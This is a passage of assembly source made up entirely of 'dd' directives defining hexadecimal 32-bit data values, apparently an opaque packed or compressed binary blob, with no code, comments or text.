3BD7653h, 227ACACFh, 918B207h dd 73206ED9h, 0A9BD007Eh, 14C8CA5Bh, 3F028F1Dh, 6C525E10h dd 0C3A0A503h, 912E7023h, 0D8A23A1Bh, 24584470h, 1A443600h dd 0ABA64E81h, 0D63500DDh, 74C0D0FDh, 0C2733F6Fh, 18B4303Ch dd 0DA83293h, 730A0C1h, 61F430E7h, 91CE80E0h, 49318305h dd 0CC40755Dh, 7BACBA24h, 3D8000AFh, 30457A0Bh, 71415FFh dd 0C0F04719h, 0FB18ECF9h, 6C008C9Bh, 1A481913h, 301D6C2h dd 0D437AFAAh, 8FE3CD84h, 166AC0C0h, 4D05A3Ch, 11C45DB2h dd 0BF8287h, 0BB270228h, 93E90F91h, 944EC715h, 5621218Ch dd 36270A00h, 143733D4h, 0CCCEA6Ch, 71D517A8h, 79186078h dd 5F3146EDh, 0F06701F6h, 698BEA95h, 93108014h, 8FAF3107h dd 0FCD30246h, 74507C90h, 30A8200Ch, 48405C2Eh, 0D600BF40h dd 75BBD561h, 0CCB3DD12h, 1D214908h, 62D6B901h, 15957A8Bh dd 0DEB67987h, 0D2DB5150h, 4B9F43F4h, 370E613Eh, 79F7A816h dd 0F0BD9B30h, 663C0C62h, 83085298h, 5857C1C0h, 1B63BF9Bh dd 0E1EA50F5h, 40E199E0h, 91B9BA02h, 807D30C2h, 0A61AC7A8h dd 0E884686Eh, 2100D664h dd 0E04F130h, 1C737831h, 466A6593h, 28680A95h, 0E401FCE6h dd 737560A8h, 0E0FE9F17h, 640EFF88h, 60A77967h, 2360D6C0h dd 4611C3D5h, 0D6B61E0Ch, 0C7002E0Eh, 0DFD81DD4h, 6F556CFh dd 98AA9161h, 6905E074h, 42D4B529h, 26A5A400h, 3A22FE43h dd 5600046Bh, 0D29B737Ah, 30C3831Ch, 0A6A4F4EFh, 0A11109A8h dd 3C315170h, 40318B5h, 191BE27h, 20223294h, 5F270B89h dd 1C8BB21Eh, 85FA434Ah, 7859B03Eh, 5F9DA9Dh, 4F5A2374h dd 28E04067h, 25FEBFFDh, 0DC017BECh, 0F6201E7Ch, 0B8F4790Fh dd 0DB00051h, 36DFEED2h, 47494405h, 0D3120744h, 104DB804h dd 910AB001h, 615BEC42h, 188970F8h, 0A017B0A9h, 0EA812491h dd 2474E017h, 0D31C2028h, 80E46DB6h, 265A944h, 0B3D55EE4h dd 2007E09Ch, 0E22FD6B8h, 0C057E08Fh, 249DEE97h, 4F446F82h dd 4F4090A8h, 0B12B29h, 0D7EECA5Eh, 2CFC24D4h, 47B8D0C1h dd 0A45001AAh, 518DDCEFh, 0CAF0B04Eh, 166F20D8h, 386944h dd 0CB902911h, 75E04C3Fh, 20188000h, 63B45696h, 44EC1510h dd 0BA23F86Ah, 0C1270803h, 2B62F491h, 27108820h, 912139B7h dd 0B4FD6380h, 0F7927D82h, 9C43EE03h, 72509Dh, 0A59A9189h dd 0DF327DE2h, 0B0DCE63Fh, 0E946B84Ah, 0D960A70h, 8867CBh dd 5680D660h, 0D90AEF0Bh, 8C728BFEh, 94F4D502h, 0ADF8A11Ch dd 0A820224Ah, 0BE36025Fh, 42CDB5Eh, 0C4191048h, 0A6BA4814h dd 2359F120h, 2410D518h, 0F01F6EF4h, 9097180Dh, 932C27D3h dd 0F406179Bh, 54B83E11h, 14918449h, 0BC6820A2h, 2FE1D200h dd 61A3979h, 4099FF30h, 6F47F4D1h, 0D7875880h, 1DBC83D6h dd 6B958900h, 10146672h, 48F7FAFDh, 5613C853h, 0E02840F8h dd 516E046Ah, 0A01B78C0h, 10CF6FE4h, 244A6CDAh, 0D2875467h dd 2A85EC25h, 42A84078h, 5E200822h, 0E46B0267h, 284449A1h dd 6CF420h, 54C2D96Dh, 0DA9E41EDh, 40705524h, 0E41ABA04h dd 1207E0C1h, 25889303h, 103EA471h, 29141997h, 0CC351868h dd 40DEC020h, 80E73995h, 1621E5B9h, 10326DEBh, 247D8696h dd 0A84885Dh, 0E4C1BF61h, 0EA0077FCh, 5C9A49DCh, 0E64F4609h dd 21342068h, 6F0EA294h, 4C1EA06Fh, 4F494D92h, 321820FEh dd 0D3107DFBh, 7F4A038h, 208E827Bh, 1D862968h, 90A15ED9h dd 78571888h, 0C08A1166h, 0F106D300h, 0E75C72ADh, 8208CC55h dd 0A800A721h, 9EC861D3h, 27A8A12h, 2AF740E2h, 9882BACFh dd 78C7162Eh, 27637EC4h, 2EA2BAABh, 0EECCED60h, 0D576287Dh dd 90154026h, 0A265498Bh, 3594DA28h, 77822491h, 3444CF17h dd 0D204690Bh, 4980032Fh, 0C46BBAC1h, 20454528h, 288CB8BCh dd 4DE42706h, 2C882809h, 270E8A83h, 1FDB903Eh, 54FC0245h dd 4C31D9BEh, 50F0E0A7h, 82842D12h, 2B16EEE2h, 0E801C293h dd 850B324Ah, 7EB05CF8h, 9DC3460h, 649882A1h, 0E998D420h dd 44D94895h, 0C1C14A3Dh, 534830F1h, 489FB480h, 9C5141F0h dd 0D44540E1h, 80592408h, 0B05B1DFAh, 53FB4FFDh, 0B7F009CCh dd 920A257Ch, 8870A4A2h, 0D18E420h, 0FD687173h, 44F498B7h dd 0C24D557h, 90B13880h, 0FA028482h, 0F0362861h, 92052621h dd 191FF7DAh, 1E04B005h, 0A8C33CD4h, 18190076h, 0FD2B5677h dd 51C22DC4h, 405DCE06h, 280535ECh, 20347934h, 0F5F87CDAh dd 18C127EAh, 88F70DEEh, 0D0948104h, 0CDE00016h, 4DA13217h dd 0BA26E870h, 79572030h, 38B80629h, 10584C3Dh, 50585296h dd 50828C10h, 6341F210h, 40144460h, 66F8FB50h, 0A21984E3h dd 0BA008310h, 58C171C3h, 0C9107F65h, 4DDD3420h, 0A26304C0h dd 0CC4821CFh, 0F0186258h, 7529C195h, 1F5C927Ch, 40889901h dd 9A558710h, 4B0372B8h, 0B16EDFDh, 98C8DC63h, 0D04048A6h dd 6CC00A88h, 21F0C99Bh, 659139C2h, 9B64B303h, 0F831B972h dd 0F079C9F4h, 6719218Ah, 0C8D38948h, 58A0D40Fh, 75CDF20h dd 0FD133773h, 0F00891A9h, 0E4690574h, 3A9C5696h, 2262368h dd 0D1D9A965h, 0D06028E2h, 9001082Ah, 5F1A231Dh, 4865F404h dd 23BD9C02h, 249AFCD3h, 0EF6B14C4h, 0A6580519h, 9BD80D8h dd 0CBD56BD6h, 1B809C45h, 0C5BD6B7h, 0E3DA007Bh, 9BA92DD4h dd 6CAB6A8Dh, 1C4C90C2h, 0BC48B05Ch, 24008C2Ch, 6BC2FACDh dd 50703C50h, 0A814A49Fh, 88724FC4h, 0A104F9B3h, 54E5E88Ch dd 22284082h, 0BCC8D917h, 0A9075E60h, 26AAA3B4h, 0C420728Eh dd 53DFEED4h, 14509C60h, 5E028C10h, 52F0BF9Bh, 1081193Ch dd 59B5659h, 84978B50h, 0C9BC084Ah, 8170758Dh, 122BBF4h dd 0FEB2A0EDh, 0F71055F5h, 896DF100h, 17A5BCD0h, 0E07E0E56h dd 75E75898h, 0D99051A4h, 79D8914Bh, 0C8533115h, 1BE99401h dd 0C429BE9Dh, 247DDAC7h, 0B7900701h, 76AAA5F0h, 0F85F8420h dd 7CE487E9h, 0A00AE260h, 0E4409E01h, 2ACAD89Fh, 0ED04D426h dd 0D15E05ECh, 32FFDA14h, 69307C74h, 0A717183Dh, 0BA12FE35h dd 0DA9B0C08h, 0ED281E8Fh, 2D4E0413h, 552E8806h, 47FD00E1h dd 0F6503E96h, 0D4124A97h, 14C0302Ch, 48AE56BAh, 3110689Fh dd 0EF4F0C6Ch, 2EED917h, 0E4F10DD9h, 20C83261h, 715868CAh dd 0B0668BA0h, 11D3BB04h, 8885F0FFh, 0C3B4837Dh, 0DF8FED3h dd 5600A0DAh, 0E8F73B84h, 24F1CE32h, 1138D9F4h, 0FC970671h dd 1DF84C75h, 2E68A2C6h, 0C8954764h, 74F52D83h, 10D03D28h dd 0C8184AB0h, 0DA00336Eh, 0A6407A4Dh, 0B854A293h, 0E9208098h dd 7C598267h, 0FB184379h, 1BECE00h, 1E5E3357h, 9F48A02Fh dd 1A87321h, 0F353711Ch, 0DD12A7ACh, 0DCEE21D7h, 8F07300Ch dd 93CA879Bh, 0DCE65F40h, 0E0535CFBh, 0A4AB90C8h, 189C678h dd 0F0BC109Eh, 3269329Dh, 413410E4h, 0A404044Eh, 484F0946h dd 0DD618h, 25E69602h, 83D94B53h, 8079C53Bh, 803BE271h dd 61B07569h, 10BA3084h, 0C4C0241Eh, 6D3BE07h, 0BE0946Fh dd 987B520h, 5103E218h, 9E213490h, 9C17DA2Ch, 465C7048h dd 2DC007Eh, 0C36417B8h, 525E28A5h, 7EE20060h, 0CBE13A5Ah dd 0CF1E5C32h, 6C40F2A5h, 0D955C11Ah, 8A92C11h, 4BF92B4h dd 5F357Ch, 2362AFAh, 98FC2ED5h, 31A98544h, 0C1EC575Ah dd 40E8E555h, 7A3B35D8h, 18494484h, 860B0314h, 4AAB84B8h dd 0D0DF9800h, 2512F1D2h, 70468A75h, 7F396C52h, 0CCEF0108h dd 9A57005h, 0A0B8F86Dh, 0A1142106h, 40B07B88h, 6C4028C0h dd 0DCEF0B10h, 80902E0Dh, 84821DF1h, 0BA6165CCh, 9DEC70D3h dd 8B11CC93h, 0D3C2B100h, 0F5D8CE7Fh, 0BB95D600h, 76567E5Eh dd 772A30A5h, 19CE10D0h, 22C6352h, 0F102D3BCh, 1081318Dh dd 0BD3C4B3h, 0B8DB9550h, 0C8A81007h, 6B600B44h, 0F076BE9Bh dd 63560487h, 0BD05C09Bh, 0DCB0C6BEh, 960A0775h, 4CD04DD2h dd 834656h, 0C0C8B92Dh, 729327D4h, 0D0E226C9h, 84FC0814h dd 0CE11A489h, 9B4640A4h, 261F9D0Dh, 5830A010h, 0FC7954FAh dd 0FE84200Ch, 4E41A09h, 40E8CEC0h, 20A72082h, 4C031504h dd 7980834h, 0CA9B67C0h, 0BC73E5F0h, 9B5FB283h, 4B23DFF8h dd 6490D824h, 157B8260h, 0EFFF4C97h, 7DEA0C44h, 4B080524h dd 0D0F6DCE7h, 0D4EBB744h, 19F4B790h, 309DA0AAh, 45807D11h dd 2C28C054h, 1AA29002h, 4A702B53h, 58C4B2B4h, 61B522FCh dd 12F3A4A1h, 40C3A9h, 0E55A188Eh, 0F49A1AD5h, 48C0147Eh dd 8010AE55h, 60A41CF6h, 30231424h, 419E2B16h, 0DEEE37E4h dd 8C2C4CD2h, 0F8D1FC79h dd 0C5513F3Ch, 85122037h, 76F0670Eh, 62441015h, 1C893A9h dd 0EA61ABAh, 0DB808E66h, 44049333h, 0EF017648h, 3D5239FCh dd 0C1E83934h, 3CF10861h, 675F7501h, 1E1FE058h, 94F801B2h dd 7198B672h, 0D478C2D1h, 1C665224h, 86A36384h, 0B304D7C0h dd 6258078Eh, 707B13A9h, 0F376AE4Bh, 986E7F3Fh, 619841EEh dd 745F1DDBh, 24A71617h, 5A9D0CDCh, 0D93C0420h, 43E11632h dd 7B6148Ch, 58972EA6h, 0B084142Dh, 9CA0BFC8h, 0CA801F53h dd 0CD60D98h, 0D4E0C401h, 28C273CCh, 0A1E631B8h, 0AE28E088h dd 49D08720h, 0D0480C15h, 1023A8A2h, 9817B16h, 39494712h dd 4BAB040Fh, 7E11EC9Fh, 40C4F880h, 0EE00279Ah, 0DA7B1BF7h dd 0AA8F76E4h, 0FB06688h, 0A0DB77D0h, 38F99700h, 330F86B2h dd 456EBAAEh, 90823EDDh, 64182258h, 0E00D046h, 8ABEAE27h dd 8872F4F0h, 0F22EA3B4h, 0D25A70CEh, 2D350AB8h, 249C7D40h dd 6DB50444h, 95790466h, 843A0A5h, 4F06CC90h, 0EE0919C1h dd 0E754AA5h, 15E0665Ch, 48512D0h, 803484FEh, 3898D184h dd 990B0776h, 67E55631h, 7F896468h, 847A8921h, 0CB60C49Ch dd 0D5236DD6h, 724C11DBh, 18D6C500h, 0CA21EEFAh, 5BE49Eh dd 0D9ED3AA2h, 5ACF8F9Bh, 0E0903090h, 71870D17h, 0B1216090h dd 0FED4E5Dh, 979610C4h, 9CB03938h, 316D3BFh, 9C8BA5F1h dd 0D3A7A800h, 2AC3DC6Bh, 904BC94Ah, 0C4C44798h, 0F7C36081h dd 14E27C74h, 987E0CFBh, 770D1872h, 24D5C089h, 244A3027h dd 0D859B580h, 0CCA058C3h, 0D56CD608h, 5741C4E3h, 0DBD8E8C0h dd 0E361003Dh, 0ADA6D06Ch, 0DC136EA0h, 6C904101h, 6A29EC8Fh dd 0AE41057h, 44986618h, 6BBF8249h, 0ED82D8D1h, 8056F1DCh dd 51DAD420h, 1FB4859h, 0B81D612Dh, 98802B91h, 52F02843h dd 790C1D05h, 84E18C7Dh, 0A0A906CAh, 26690822h, 1DD89118h dd 0C7117019h, 4B0FD198h, 60CDFAB8h, 503D5D0Dh, 6AF83C71h dd 0D4601D01h, 6DDCD0EEh, 0D1169EB0h, 8323B03Fh, 525820Bh dd 8A45A74h, 0DC87262h, 8A109FFCh, 0C1A002E9h, 26FF8CB0h dd 0E191BA08h, 42256493h, 60270755h, 30A1B590h, 1A192310h dd 41748050h, 7C664800h, 3B0D7831h, 48BE025h, 623A9F23h dd 3EE8C2A8h, 0F434EA20h, 0DCF1150Dh, 9E73E0C5h, 4C465EA0h dd 2CD35902h, 0F0D2171Ch, 0FC54B648h, 0AB3A8C49h, 0E3E000FCh dd 60618AF7h, 0E805312Bh, 6D9B6A61h, 45DD0154h, 9A58713Eh dd 3354E404h, 25E40518h, 88519231h, 7359E54Fh, 0C95E7C00h dd 0ACD9E44Ah, 0E21C9509h, 5E8454B0h, 54014446h, 2B944DE7h dd 57DBD837h, 105FD30Ah, 90A5D462h, 906BC44Ch, 0E0EA0342h dd 2C358112h, 0FB5C4FD1h, 3F19EEC0h, 0DA91870Ah, 5F94D81Bh dd 48B222ACh, 90803875h, 0E6443292h, 0D3987900h, 0CFDD2CC2h dd 0FDBC0058h, 0A057469Dh, 4146AFEh, 9F447F6h, 50E4D111h dd 0F45F05C8h, 20F35106h, 2A9DEE8Ch, 0F60BC4B6h, 0DC40477h dd 0C09B6160h, 965AF025h, 59580010h, 2578709Bh, 98020B7Dh dd 7B272E09h, 8864FB1Fh, 18A481DCh, 0F631508h, 0B241DEB4h dd 9A8676E0h, 6AC0ED21h, 5264B074h, 1A79C070h, 0F683C023h dd 61742101h, 65DD177Ah, 0B8CA418Eh, 8BCE1064h, 0C176C8E8h dd 0E020EE7Fh, 79D20FAAh, 8323F83Ah, 6AC32301h, 0C8478D07h dd 6420F1ADh, 0F35040A0h, 86432CB2h, 303430F4h, 9B3F1809h dd 9C4B5E46h, 509842CDh, 75C726B0h, 202901CCh, 448B2666h dd 34B082F4h, 38ACB0F0h, 76D818C4h, 40C5A644h, 3D8B28DDh dd 24BE48CEh, 63C4C1A4h, 41D86974h, 92A5F040h, 4198662h dd 0C0E86AD4h, 8278B270h, 0F490C892h, 0EC27FCD3h, 2582971h dd 8780C38h, 0CF9604A8h, 36608C99h, 80667144h, 0A4144FA5h dd 1A850ECh, 5532DEB6h, 5C28F5B2h, 0DC66A004h, 0B484D341h dd 47B1F9C0h, 93AA2Dh, 0A60497E8h, 840C9644h, 0E3168458h dd 3084A2F0h, 6B12EE8Eh, 0E4E4D217h, 50440329h, 793A462h dd 3E96261Fh, 0C8F47A05h, 0F78FF0F0h, 78850771h, 0B449E4EFh dd 0F54ADA04h, 94062485h, 28A85066h, 4C0CA293h, 0D6308468h dd 5EF4D1A9h, 103723Eh, 0F10ED71Ah, 519CD9FCh, 996DD867h dd 5001B80Bh, 2ACA7531h, 5F6161E4h, 2CEB4088h, 8DFF6A00h dd 0FC908E8h, 47B8DC62h, 5C17CD09h, 0DF808B91h, 7EE9D91Eh dd 0AD881700h, 9BE0C95Ah, 51AC3AA3h, 0ECEE9D02h, 0D4A74DF5h dd 9E6152DEh, 25E2E0C3h, 7CA0C324h, 0F85D45A5h, 6302A980h dd 0DEE127D3h, 0DAA8A158h, 0FB006BD4h, 0A82025FCh, 0BE8C1475h dd 42EA0C1h, 856A8128h, 4FB7101Fh, 0A9121120h, 444B118Eh dd 651728C0h, 45CDC0C9h, 6080C43Ch, 0FC1368A9h, 0E8C426BFh dd 5B738190h, 7219AAF8h, 0F3DC0164h, 4E8F6A67h, 60759C24h dd 0CDE3497Bh, 650030BBh, 0A649D424h, 5D033609h, 0C32344CEh dd 0BC270101h, 70EF191h, 0C2270953h, 614D14A2h, 4C68B608h dd 0B928D32Ch, 41BCA058h, 0AF49078Ch, 0D0E985FFh, 0EB67FEE3h dd 0F940E802h, 0C1652FD3h, 4150F88h, 4431A74h, 448060AEh dd 2C2AFA46h, 593451A6h, 0FE71076h, 4FF61647h, 7424047Eh dd 7D111E1Eh, 0D2FFC702h, 0D0D83EF4h, 0F9181030h, 78FC0Dh dd 0B16E8F17h, 0F0CAFD03h, 2FE5700h, 0FA66A95Ah, 0F80B04E8h dd 0C6ECF113h, 694CA03Bh, 8D12280h, 78BF0DEEh, 0C00F945h dd 1F2950DCh, 96FCB192h, 0AE70204Fh, 0E200C12Bh, 808FAD0Eh dd 27DACFB8h, 340D4F7Ch, 0BCC03CE1h, 0C8008C80h, 0AFA5A441h dd 90134FDh, 0CAAB9B47h, 0DC12AC09h, 18C5A422h, 9E11C8C4h dd 5E787A3Bh, 0CB24121Ch, 0C07FC8DCh, 0B728024Ch, 35D80E01h dd 1050035Eh, 9E58C8CAh, 0B0DA3E66h, 829ED16h, 79891BC4h dd 475C10F1h, 80A44AD9h, 0F30469A8h, 114C9F95h, 4D348120h dd 66E4CCD4h, 24D73FADh, 4E816459h, 0A72C2A5h, 491D1018h dd 0DE007E58h, 0B631D02Ah, 3124442h, 0B16B7549h, 29BEEA7Ah dd 3B24A3FCh, 2D60648Fh, 9E159CF5h, 857B8414h, 241F2269h dd 0ED608C9Bh, 0A0B52A01h, 32318533h, 0D5056428h, 0A4839404h dd 0DCB284BCh, 7A7824h, 0FE0746A8h, 0BCDDAE5Ah, 232016A0h dd 43300656h, 29727569h, 71FC9B01h, 0CDC29DA1h, 0D860B8C1h dd 2B549C36h, 1A10BE70h, 0B551E70h, 0A6FCC865h, 7B0E88BDh dd 62F4919Fh, 1035077h, 0AD500643h, 20E5999Ah, 550C931Ch dd 8AC150E7h, 7D7810C0h, 5B405CB9h, 8415B803h, 5081BA30h dd 1F1B214Fh, 0E62FC32h, 0E4296A48h, 171B10D2h, 8A3036A7h dd 76C87E9Ch, 4F094A46h, 0F8024C93h, 0D30092EFh, 40106CF4h dd 0AE4A9D50h, 0CD7568C1h, 0EC309C75h, 0AC3E49E5h, 410DAA11h dd 84B6E0B8h, 0D8FD0680h, 773764Ah, 112D2E77h, 0DA88174h dd 5C479103h, 460D080h, 98115CCCh, 664648Fh, 0B8A4FCB1h dd 0A0038C25h, 10EB1714h, 0EF190011h, 6384EEA7h, 7E0A47D5h dd 50FCB8D6h, 3D76C980h, 4E55CDDh, 7EC7296Ah, 14C705h dd 25E398D2h, 0ADF02209h, 0FD0C4042h, 0C11B56Ah, 8B8CECC9h dd 0ED57AF05h, 588BB0D9h, 0C920C8h, 35580118h, 4CA27D9Ch dd 3E4F1481h, 0F9862390h, 0CAD20E86h, 0C045C8C4h, 4357E08Fh dd 0C7910F14h, 0EE6005F4h, 0E1CDFCh, 2E6FE842h, 88053A9h dd 0CD5BACCh, 0D29BE0C1h, 3A7EACh, 3D44DF70h, 85F84B39h dd 59465CB8h, 4D3BE02h, 4459BDF1h, 25A6A563h, 4C644C20h dd 0EE3D4E00h, 559CBB89h dd 93E60723h, 0F59A4702h, 0AA8404B6h, 6694907Bh, 0A6E813F0h dd 1C91A90Ch, 7DCF20B8h, 3008674h, 358A04EFh, 0EB47378h dd 0C95194A6h, 0F5F9A7C1h, 0E270731Eh, 0E4E0331Fh, 1C2E06C5h dd 0EB1E08A6h, 956A2D60h, 21148844h, 0E8D85742h, 0A5008C43h dd 5B08DAE5h, 24EE18h, 6554A6B5h, 10C7F345h, 789180E3h dd 97B2C19Ah, 0E4694C23h, 6F2F9445h, 709A1778h, 30993705h dd 0AD569C02h, 71C84234h, 0A5F08490h, 2024CC16h, 815DAF2Dh dd 702CD588h, 102C147Ch, 4D814064h, 7701277Fh, 0A372E10Ah dd 7828CE0Ch, 788C83B8h, 2EEF135Dh, 0BA040966h, 0B05A80F0h dd 2123982Eh, 0E46C2400h, 26774FF2h, 8346266h, 1B3D9992h dd 8AF16DFCh, 43807C97h, 22946424h, 0A8D3253Eh, 446B24A0h dd 90F47592h, 0A7873DCDh, 4704EA3Ah, 0BC4C20CAh, 8C80ECCCh dd 89FD9400h, 127BD0D1h, 399F0218h, 883A9DF0h, 0E48B685Ch dd 6A0CC81Ah, 0A7A1C067h, 0ACCA9181h, 3107DCB6h, 7A45A1F4h dd 0E412EC25h, 0E1B0400Ch, 0E258BEBFh, 5294192h, 0AC91D40Dh dd 98689A5Ch, 77DB1D09h, 0ED0C4CD0h, 6038B1ECh, 39526731h dd 79D10C21h, 5E409618h, 0B08F9218h, 3C8B120Ch, 0B7CC48BDh dd 0C02705C0h, 8694F491h, 872344h, 6B01270Dh, 2E142CD3h dd 0DE1CA0B5h, 20712632h, 0CF12CCE9h, 38A0BE89h, 2E484116h dd 4009F013h, 0C40845B1h, 74836022h, 909509FEh, 3C851EAAh dd 4A20BC36h, 0BC2EEC17h, 0A4007F23h, 29D90428h, 17A71280h dd 652820CFh, 546EC5ECh, 0C7DBE960h, 54D46270h, 54D4083Fh dd 0D1C4995Ch, 7210182Bh, 0CF1D0FE8h, 0CD6E90BAh, 4A58DF00h dd 0B605CA0Ch, 78FAAB18h, 8B5A70B9h, 0C165C844h, 0C4DCEF55h dd 18121A5Fh, 0F4F4B4D9h, 0A85C8869h, 58FC2001h, 6F7F78FFh dd 0F8511530h, 0FD2D0797h, 6BCAAD48h, 0F433B8A0h, 0A493387Dh dd 25660200h, 4B7565D5h, 0C18C0396h, 5181DFEFh, 3D29A8B0h dd 1C64649Eh, 0B3EECA4h, 82F4795Eh, 0CF4C10CEh, 0EF95009Ch dd 0DFFDFE8Ch, 71DE005Ch, 0DC3D758Bh, 0AC1CDBCDh, 0DC24CA9Bh dd 58B04F89h, 1B1030E8h, 0F36B4851h, 1E87E100h, 0BC3FDB4Ah dd 31ED0375h, 481A5878h, 66C267F9h, 0D6C91E20h, 9CEBD58Bh dd 0C3170034h, 47133FD6h, 9265B2Dh, 6608A8C8h, 0EEFA038Ah dd 0E8A06A2Eh, 3D5C98D8h, 0DEB402D8h, 79372138h, 1FEDF1D4h dd 725EEDC8h, 74842071h, 7D20EF4Ch, 8251EC93h, 40C0E318h dd 6AC1EF9Dh, 8400919Ch, 1B582Ch, 2E9F17C0h, 5BB02010h dd 0F563022h, 45D055C4h, 2C1647C1h, 99E4C4F0h, 4C08494Dh dd 13E71700h, 0DCA64813h, 405309E0h, 0AB8AB500h, 1EEE7D21h dd 0EDDA2F92h, 75F4E048h, 0B443CCAAh, 2888990Fh, 0DA3540E5h dd 1D89B72Ah, 80640D93h, 40779EAh, 8B1F7DFCh, 0C6E750FFh dd 18FD2034h, 8724F012h, 46F20CA2h, 0FAAA030h, 0CA4B29EDh dd 0A240EE27h, 0CCEAEFF4h, 7E7954F1h, 0CA7D3E18h, 85AEF002h dd 0FE794DD0h, 0F242C004h, 0A348F688h, 83760B0Ch, 5B48D269h dd 0EC28C990h, 4B5B4604h, 7265BC05h, 68F5A481h, 3EFBFA00h dd 0FC9C453Fh, 95B952Fh, 8098793Ch, 200BAEC3h, 28FAAD1h dd 67F8128Fh, 0B5D06468h, 0E02981CAh, 34046C11h, 3C35F4h dd 0CDFEF84Fh, 0BD6AFC1Eh, 0DA9DA410h, 0C05F9520h, 0EE8D4840h dd 54F8D509h, 0B988039Dh, 993AF091h, 0AA480833h, 0FB024BC8h dd 0F02678F4h, 0FC8D3840h, 0C8841AAh, 0C38FF663h, 0D914F418h dd 80485DC5h, 0B5FFF889h, 6984408Fh, 6C783221h, 0AF981D0h dd 13F8057Fh, 68DDF312h, 0C2529C20h, 0BEFB0088h, 0FCFD0B12h dd 6754A948h, 2FD42070h, 7C411C0Ch, 0F0207A32h, 0E96DA697h dd 0C2A8447Bh, 90314CC8h, 2C08B35Eh, 8C642568h, 344DFC29h dd 1E5069Ch, 83045F1Ch, 337009D3h, 7CC07A96h, 20CD019h dd 30F5BA40h, 0CB875E7Bh, 12DC4894h, 800488Fh, 61849A93h dd 0E91203D6h, 62ADEE95h, 50C16968h, 8C3491C5h, 5F46C301h dd 80502024h, 0D147A61Ah, 5B970CA9h, 0B2C1D184h, 544F2F70h dd 0B9049054h, 81C86C9Bh, 839D595Ch, 8053548h, 0A9203C19h dd 0F54DDD80h, 0B8865A4Eh, 0A460B21Fh, 0B516B4EAh, 68D23A91h dd 0EEC2DD97h, 747B68F2h, 0E4425494h, 0AC8B0967h, 1D0B90DAh dd 2470A294h, 0B882678Ch, 50A029F8h, 74B8A292h, 24D8A2BDh dd 0A8F31056h, 5E8C7C8Ah, 0E6008046h, 9FE04834h, 9C99315Bh dd 19A3000h, 1E6D2FEh, 0F2E4E142h, 0F4E7BA76h, 4F2F66B4h dd 93D848EEh, 0BE6C0EC9h, 821D5864h, 0F37569BAh, 0EC8F30E8h dd 0C0E194Ah, 28CB3783h, 0A2C184C8h, 203B9DB2h, 5EF57B68h dd 9F96BF38h, 144001D9h, 2CD4C4D8h, 0F496FCh, 731F1759h dd 0D078B26Eh, 963FD8A4h, 25B75CD2h, 9BD480C5h, 33048E90h dd 411040DEh, 0C4E35EF2h, 0ED9ED8A7h, 0E0819597h, 0D0515431h dd 21817578h, 5359D728h, 8B5AC41Fh, 0CDA9BD00h, 0B81642FBh dd 4C551265h, 820CAC83h, 5ACA10C9h, 73DD3050h, 0A2DFD449h dd 38BBB48h, 98315472h, 4D2930F2h, 0DE941AC0h, 66311F60h dd 209D0646h, 0C31FBDEEh, 5204711h, 535CDD6Bh, 9374B08Bh dd 0D0B9A56Ah, 188C0D0Ch, 10786F0h, 0DDD3D997h, 10F4C365h dd 182658ABh, 765D5A10h, 465EE49Ch, 8A4E1D46h, 0C2612005h dd 0C2ADAD83h, 6A186473h, 28A97Dh, 56D9106Eh, 0B51709AAh dd 24A42A47h, 42F34A79h, 8CA16FE0h, 0C6063C7Ch, 751975F0h dd 0CCA448h, 0CA252D3Bh, 0E2A99A29h, 2718B000h, 9178A4C1h dd 307BE607h, 0A8395401h, 66004273h, 0C9B57518h, 0EADE7C68h dd 0F3F43889h, 45221E04h, 1108C346h, 0C902CFBh, 0CF0464CAh dd 0E50A5DC1h, 782804AAh, 0EAC6604Ch, 0DB50A015h, 943EE33h dd 9C2E2950h, 390184F0h, 0DEE5F86h, 8C446E9Fh, 8DE1A4A3h dd 429C085Ch, 0A5CA1066h, 11200EB9h, 0B480A92Dh, 95F041D4h dd 9880864Bh, 12EE36D3h, 54B27706h, 9781F0FCh, 3E2D814Bh dd 46A3C4Ah, 0E853007Eh, 0E9B694C6h, 0BC008AD0h, 0B48BAF3Dh dd 308CD5F0h, 5D19EC69h, 0B5018DBAh, 7A94D6FEh, 0E900C540h dd 0C23EB6C8h, 0B5911D3Dh, 0B41FD51Fh, 27B8E20Eh, 80BF87FAh dd 0B78DD4E7h, 0C3E4E9EDh, 90E10E3Dh, 85E6F5C2h, 930928AEh dd 80DBF1B7h, 92D9F65Dh, 0DAFB3026h, 7999EC40h, 0C8F86200h dd 0DF3DBB8Bh, 2FC5038Ah, 51106C6Eh, 402679B8h, 899204A0h dd 86D680C7h, 0A7C41BC0h, 1833735Ah, 79EFB779h, 9FF1D6F6h dd 0E81BB571h, 153DA318h, 8E6B6E0h, 0EDB18D0Ch, 0EE146918h dd 603850D3h, 646C7080h, 86D506F9h, 88D9F0B1h, 1E882126h dd 567B5306h, 8EC60FE8h, 79801251h, 0B593408Dh, 0A0A540CAh dd 0AACEFC00h, 880C65h, 0C639265Ch, 0D6101D6Fh, 16B38A0Ch dd 0E8ABE1BAh, 6DFC0075h, 0DAEE566Ch, 92A57B6h, 0B2403CC4h dd 0F6BE01B4h, 405CB0E3h, 3B31C8Ah, 0BAE9B1A1h, 204262C4h dd 0B80C093Ch, 950C0F90h, 446C93Ch, 1D23DCA4h, 3A189CB1h dd 0AB82E445h, 519EDCACh, 0AE2DF8h, 460C804h, 0AC0BB755h dd 0ABF91402h, 0BC341057h, 21774121h, 90C4318Ch, 4781C748h dd 21C6A3AAh, 4CA424B8h, 0D3896894h, 32005C5Dh, 0DA12EB58h dd 0D2A0C804h, 4570014Bh, 0E124C03h, 45B5702Ch, 0E958908Ah dd 62B4B992h, 57154E60h, 0AB825010h, 52317545h, 0A3B29474h dd 0F3582168h, 0C843B017h, 2E9ADA9Bh, 0CFCBAD1h, 5F58172Ah dd 88E1044Ah, 0C821940Eh dd 4C0381C1h, 71E7C80Fh, 0DDC81A26h, 8A0A3871h, 0FC620C69h dd 0F74F0274h, 0D968CE8h, 64710725h, 0F8DC9084h, 0F8C95C19h dd 219720DEh, 0C404D380h, 981C013Bh, 648B6608h, 0FB887A68h dd 52062E04h, 0A40B8C5Ch, 270F1E28h, 0E9D58C25h, 14C45918h dd 6589405Fh, 68200C64h, 0D6E53972h, 955005DFh, 15AC5EEFh dd 7D7F240Ch, 0C16580Dh, 1698D52Ah, 0A049FCEDh, 9C0F93BCh dd 0E513EEC3h, 0B0569BF4h, 815E610Ch, 0C1263EDBh, 37EF5C92h dd 64448A04h, 2AE7226Ah, 2AD951DCh, 84C1F894h, 4F105561h dd 239F91E6h, 50D806ACh, 0D99F0441h, 0CE81891h, 0E0438697h dd 0F0918721h, 8C911C50h, 82480749h, 